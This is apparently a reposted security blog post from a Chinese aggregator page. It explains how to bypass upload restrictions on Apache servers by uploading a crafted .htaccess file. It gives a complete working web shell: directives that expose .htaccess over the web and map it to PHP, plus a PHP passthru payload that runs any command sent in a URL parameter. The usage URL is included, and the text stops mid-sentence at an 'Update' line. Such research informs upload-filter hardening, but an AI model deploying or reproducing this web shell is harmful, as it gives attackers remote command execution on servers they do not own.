天天看点

ATTACKING WEBSERVERS VIA .HTACCESS

A while back I was testing a CMS that had a curious feature, all uploaded files were placed in their own directory. This was not a

security enhancement as the application allowed php files to be uploaded. However I coudn't help ask, what if php uploads had been restricted? The answer was .htaccess files. Using SetHandler in a .htaccess file is well known, but does not lead to remote code

execution. So after some thinking I put together some self contained .htaccess web shells. I wrote both a php and a server side include shells, but other options can easily be added (jsp, mod_perl, etc). 

This works by first diverting the default apache .htaccess access restriction from within the .htaccess file so we can access it as

a url. Next we reconfigure the .htaccess extension to be treated as a dynamic content script and finally we have our payload. The attack works because the .htaccess parsing and processing for apache configuration directives occur before the .htaccess file

is processed as a web request. There is a relatively small gotcha, the payload has to be commented out with a # at the start so it doesn't get interpreted by apache and likewise, the script interpreter must ignore the apache directives. PHP lends itself well

to this as any content not within the <?php ?> tags are presented as is.

<code>01</code>

<code># Self contained .htaccess web shell - Part of the htshell project</code>

<code>02</code>

<code># Written by Wireghoul - http:</code><code>//www.justanotherhacker.com</code>

<code>03</code>

<code>04</code>

<code># Override </code><code>default</code> <code>deny rule to make .htaccess file accessible over web</code>

<code>05</code>

<code>&lt;Files ~ </code><code>"^\.ht"</code><code>&gt;</code>

<code>06</code>

<code>Order allow,deny</code>

<code>07</code>

<code>Allow from all</code>

<code>08</code>

<code>&lt;/Files&gt;</code>

<code>09</code>

<code>10</code>

<code># Make .htaccess file be interpreted </code><code>as</code> <code>php file. This occur after apache has interpreted</code>

<code>11</code>

<code># the apache directoves from the .htaccess file</code>

<code>12</code>

<code>AddType application/x-httpd-php .htaccess</code>

<code>13</code>

<code>14</code>

<code>###### SHELL ###### &lt;?php </code><code>echo</code> <code>"\n"</code><code>;</code><code>passthru</code><code>(</code><code>$_GET</code><code>[</code><code>'c'</code><code>].</code><code>" 2&gt;&amp;1"</code><code>); ?&gt;###### LLEHS ######</code>

Simply upload the preferred shell as a .htaccess file and then visit the .htaccess file via the url http://domain/path/.htaccess?c=command

Update: Due